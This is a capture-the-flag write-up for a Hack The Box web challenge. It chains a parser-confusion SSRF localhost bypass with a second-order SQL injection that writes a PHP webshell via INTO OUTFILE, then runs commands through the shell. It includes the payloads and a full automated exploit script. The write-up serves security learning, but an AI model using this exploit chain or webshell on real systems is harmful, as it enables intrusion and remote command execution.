← Back to Writeups
CUSTOMMediumWeb

Interstellar Challenge Scenario

XESXOR9/10/20264 min read
#web#custom#medium#parser_confusion_abuse#second_order_sqli#ssrf_localhost_bypass#union_into_outfile#webshell_drop#linux

Interstellar Challenge Scenario

Platform: Hack The Box | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-04-01 | Status: Solved Techniques: parser_confusion_abuse, second_order_sqli, ssrf_localhost_bypass, union_into_outfile, webshell_drop

Summary

Task: a PHP/MySQL web app with a localhost-only profile edit feature and a server-side communication endpoint. Solution: abuse parser confusion for SSRF to 127.0.0.1, plant a second-order SQLi in the session name, write a PHP webshell with INTO OUTFILE, and read the randomized flag file.

Interstellar Challenge Scenario — Hack The Box

Description

Interstellar Challenge Scenario

Target used for the final solve: http://154.57.164.83:31171

The application allows registration, login, and a “communicate” feature that sends server-side requests. The goal is to reach an internal localhost-only edit function, turn that into SQL injection on the homepage, and use the database write primitive to recover the flag.

Analysis

Vulnerability 1: parser confusion in communicate.php

The communication endpoint validates a user-supplied URL with filter_var() and parse_url(), then checks the parsed host with:

php
preg_match('/motherland\.com$/', $parsedUrl['host'])

At first glance this looks like a domain allowlist. The bug is that cURL is not given the original URL. Instead, the request is sent to:

php
curl_setopt($ch, CURLOPT_URL, $parsedUrl['host']);

So the code validates one URL representation, but cURL later interprets a different string. That parser confusion is the key twist.

Vulnerability 2: localhost-only edit action

index.php?action=edit only allows requests from 127.0.0.1:

php
if ($_SERVER['REMOTE_ADDR'] != '127.0.0.1') {
    // blocked
}

This would normally prevent direct access from outside.

Vulnerability 3: SSRF localhost bypass with IPv4-mapped IPv6

The allowlist can be satisfied and the request still directed to localhost with:

text
0://[::ffff:127.0.0.1].motherland.com:80/

Why it works:

  1. filter_var() accepts the URL.
  2. parse_url() extracts a host ending in motherland.com, so the regex passes.
  3. cURL receives only the host string, not the full validated URL.
  4. The crafted host confuses resolution/parsing and reaches 127.0.0.1.

This is the intended parser-confusion / SSRF localhost bypass twist.

Vulnerability 4: unsanitized name update enables second-order SQLi

Registration sanitizes the initial name value:

php
$name = preg_replace('/[^a-zA-Z0-9]/', '', $name);

But the localhost-only edit action does not sanitize new_name. That lets us replace our session name with SQL injection payload text through SSRF.

Vulnerability 5: unsafe dynamic SQL in searchUser(name)

The homepage calls CALL searchUser(?), which looks safe at the PHP layer, but the stored procedure rebuilds SQL unsafely:

sql
SET @sql = CONCAT('SELECT * FROM users WHERE name = \'', name, '\'');
PREPARE stmt FROM @sql;
EXECUTE stmt;

That means the application has a second-order SQL injection:

  1. Store a malicious name through the localhost-only edit action.
  2. Visit /.
  3. The stored procedure concatenates the injected name into SQL and executes it.

Exploitation Path

Step 1: register and login

Create any valid account. The initial name can be something simple like pilot.

Step 2: use SSRF to hit the internal edit endpoint

Send the localhost-bypass URL to communicate.php and keep the authenticated PHPSESSID cookie. The POST body forwarded internally should contain:

text
action=edit
new_name=<SQLi payload>

SSRF URL:

text
0://[::ffff:127.0.0.1].motherland.com:80/

Step 3: store a malicious name

The injected name used in the final solve wrote a PHP shell into the web root with UNION ... INTO OUTFILE:

sql
x' UNION SELECT 0x3c3f7068702073797374656d28245f4745545b305d293b3f3e,'','','','' INTO OUTFILE '/var/www/html/<shell>.php' FIELDS TERMINATED BY '' ENCLOSED BY '' ESCAPED BY '' LINES TERMINATED BY ''-- -

The hex string decodes to:

php
<?php system($_GET[0]);?>

Step 4: trigger the second-order SQLi

After the SSRF edit succeeds, simply visit /. The homepage calls searchUser(name), which executes the stored payload and creates /var/www/html/<shell>.php.

Step 5: use the shell to recover the randomized flag path

Once the shell is present:

bash
/<shell>.php?0=id
/<shell>.php?0=ls%20/

The root directory contains a randomized flag filename like:

text
<hex>_flag.txt

Read it through the shell:

bash
/<shell>.php?0=cat%20/<hex>_flag.txt

Solution

Reference exploit script already saved in the task workspace:

/Users/sergeyskorobogatov/Projects/Agents/CTF/tasks/hackthebox/interstellar/exploit_interstellar.py

Full working solve script:

python
#!/usr/bin/env python3
import re
import sys
import time
import uuid

import requests


def must(cond, msg):
    if not cond:
        raise SystemExit(msg)


def main():
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <base_url>")
        raise SystemExit(1)

    base = sys.argv[1].rstrip("/")
    s = requests.Session()

    tag = uuid.uuid4().hex[:8]
    username = f"user_{tag}"
    password = f"pass_{tag}"
    name = "pilot"
    shell_name = f"{uuid.uuid4().hex[:8]}.php"

    register = s.post(
        f"{base}/register.php",
        data={"name": name, "username": username, "password": password},
        timeout=10,
    )
    must(register.status_code == 200, f"register failed: {register.status_code}")

    login = s.post(
        f"{base}/login.php",
        data={"username": username, "password": password},
        allow_redirects=False,
        timeout=10,
    )
    must(login.status_code in (302, 303), f"login failed: {login.status_code}")

    shell_hex = "0x3c3f7068702073797374656d28245f4745545b305d293b3f3e"  # <?php system($_GET[0]);?>
    payload = (
        "x' UNION SELECT "
        f"{shell_hex},'','','','' INTO OUTFILE '/var/www/html/{shell_name}' "
        "FIELDS TERMINATED BY '' ENCLOSED BY '' ESCAPED BY '' LINES TERMINATED BY ''-- -"
    )

    ssrf_url = "0://[::ffff:127.0.0.1].motherland.com:80/"
    s.post(
        f"{base}/communicate.php",
        data={
            "url": ssrf_url,
            "data[action]": "edit",
            "data[new_name]": payload,
        },
        timeout=10,
    )

    trigger = s.get(f"{base}/", timeout=10)
    must(trigger.status_code in (200, 500), f"unexpected trigger status: {trigger.status_code}")

    time.sleep(0.5)

    shell_url = f"{base}/{shell_name}"
    whoami = requests.get(shell_url, params={"0": "id"}, timeout=10)
    must("uid=" in whoami.text, "webshell was not created")

    listing = requests.get(shell_url, params={"0": "ls /"}, timeout=10).text
    match = re.search(r"([A-Fa-f0-9]{16}_flag\.txt)", listing)
    must(match, "flag file not found in /")
    flag_path = "/" + match.group(1)

    flag = requests.get(shell_url, params={"0": f"cat {flag_path}"}, timeout=10).text.strip()
    print(flag)


if __name__ == "__main__":
    main()

Example usage:

bash
python3 exploit_interstellar.py http://154.57.164.83:31171